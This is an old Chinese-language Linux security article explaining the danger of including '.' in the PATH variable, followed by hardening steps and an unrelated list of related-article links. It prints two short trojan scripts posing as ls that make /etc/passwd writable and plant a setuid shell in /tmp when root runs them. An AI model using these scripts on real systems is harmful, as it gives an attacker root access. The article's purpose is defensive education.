Linux的环境变量PATH中所带来的问题及解决方法

发布时间:2006-01-07 10:08:27来源:红联作者:yo

本文主要讲述“.”在LINUX的环境变量PATH中所带来的问题,及解决的几种方法。

正如很多人所知道的$PATH环境变量里存着一张目录列表,当用户要执行某一程序时,系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。

对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。

例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)

命令操作如下:

[root@rh root]# PATH=$PATH:.

[root@rh root]# echo $PATH

/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。

以下是个简单的C shell 的例子

#!/bin/csh

If ( ! -o /bin/su )

goto finish

cp /bin/sh /tmp/.sh

chmod 7777 /tmp/.sh

finish :

exec /bin/ls $argv | grep -v ls

稍微变形就有个B shell的

#!/bin/sh

if chmod 666 /etc/passwd > /dev/null 2>&1 ;then

cp /bin/sh /tmp/.sh

chmod 4755 /tmp/.sh

fi

exec ls "$@"

如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。

在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结果/sbin/ps却不被执行。类似这样的小花招还有很多。

管理员同志,不要太紧张,下面我说说解决办法。

首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。

其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。

最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行

[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"

还可以由crontab调用定期执行

#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt

来搜索所有以点开头的文件,再发送到root的邮箱里,再进行比较等任务。

linux path减少,Linux的环境变量PATH中所带来的问题及解决方法相关推荐

  1. Myeclipse开发环境下文件中出现的提示错误与解决方法:The import javax.servlet cannot be resolved?

    Myeclipse开发环境下文件中出现的提示错误与解决方法:The import javax.servlet cannot be resolved? 参考文章: (1)Myeclipse开发环境下文件 ...

  2. java编辑环境变量path的路径_环境变量path配置(梦开始的地方)

    计算器的命令:calc.exe:记事本的命令:notepad.exe. 如果你想要执行某个应用程序的时候,而我们现在不在这个应用程序所在目录下面,那我们怎么办呢? 一是我去该应用程序所在目录去执行,要 ...

  3. 系统默认环境变量PATH设置

    系统默认环境变量PATH作用 通过设置环境变量PATH,就可以在任何目录下执行设置的工具. 为了方便调用程序,例如你把一个目录的路径加到系统默认环境变量PATH里,那么你可以直接在运行里输入该目录下的 ...

  4. Linux系统修改环境变量PATH路径

    关于PATH的作用: PATH说简单点就是一个字符串变量,当输入命令的时候LINUX会去查找PATH里面记录的路径.比如在 根目录/下可以输入命令ls,在/usr目录下也可以输入ls,但其实ls这个命 ...

  5. 嵌入式linux 零基础-实践起步 --- 003 --- 交叉编译中环境变量PATH的设定

    前言: 在使用arm 嵌入式linux的系统时候,经常遇到的问题就是交叉编译环境的路径设置问题.比如编译工具:编译的时候,经常发生编译工具的路径,选择,版本的问题导致交叉编译出错:本文从export命 ...

  6. linux path原理,面试题:Linux中的环境变量PATH

    首先一点Linux中的每个命令其本质是一个可执行的文件,以ls命令为例.通过命令:$:whereis ls可以查看ls命令的位置在/bin/目录下.当用$:ls -l /bin/ls命令查看文件/bi ...

  7. Linux——孤儿进程|进程的优先级 用top命令去修改优先级 其他概念 环境变量 PATH 获取环境变量

    目录 孤儿进程 进程的优先级 用top命令去修改优先级 其他概念 环境变量 PATH 获取环境变量 习题 孤儿进程 父进程如果提前退出,那么子进程后退出,进入Z之后,那该如何处理呢? 父进程先退出,子 ...

  8. linux将目录路径加入环境变量中,如何添加路径到PATH环境变量

    1.直接用export命令:#export PATH=$PATH:/opt/au1200_rm/build_tools/bin 命令解释: 设置环境变量 PATH 为 /usr/local/arm/3 ...

  9. 查看linux系统path,Linux中的环境变量PATH

    首先一点Linux中的每个命令其本质是一个可执行的文件,以ls命令为例.通过命令:$:whereis ls可以查看ls命令的位置在/bin/目录下.当用$:ls -l /bin/ls命令查看文件/bi ...

最新文章

  1. 惊呆了!这样可以将Numpy加速700倍!
  2. WPF 基础到企业应用系列1——开篇故意
  3. flutter AndroidView简述
  4. 运行错误代码_Win7系统提示错误代码0xc0000135应该如何解决?
  5. sqlserver中日期保存及取值
  6. sqlserver 2005的安装部署
  7. 计算机网络体系结构及协议
  8. No resource found that matches the given name 'android:Theme.Material.Light.DarkActionBar'
  9. 红胖子网络科技博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬结合等等)持续更新中...
  10. 40Gbit和100Gbit的网络可视性解决方案
  11. 蘑菇街服务器信息,蘑菇街开放平台
  12. python足球联赛赛程_足球联赛赛程表工作表
  13. nm 命令输出项解析
  14. Android - 修改主题和颜色
  15. 用断点续存实现视频快速上传
  16. 华胜天成旗下成员企业沃趣科技为华泰证券IT系统保驾护航
  17. 2018-2019赛季多校联合新生训练赛第四场
  18. 报错ConnectionString属性尚未初始化。
  19. 数字逻辑笔记4逻辑代数的基本定理和规则
  20. GPU内存分明没人占用但是分配不了内存的解决办法

热门文章

  1. Dora.Interception,为.NET Core度身打造的AOP框架:全新的版本
  2. MySQL在EF Core下的Scaffolding操作
  3. ASP.NET Core 行军记 -----第一步(艰辛的 MVC Hello World)
  4. thinkphp出现Call to undefined function Think\C() in ... online 313
  5. Android OkHttp3简介和使用详解
  6. Android之android8.1打开热点提示UID 10140 does not have Location permission和Location mode is enabled.
  7. IOS学习笔记七之KVC和Key路径
  8. linux之tar命令使用总结
  9. 《看聊天记录都学不会Python到游戏实战?太菜了吧》(7)我用函数写了个特洛伊木马
  10. dell设置从ssd启动_为什么懂电脑的人都说SSD不要分区?原来真相是这样!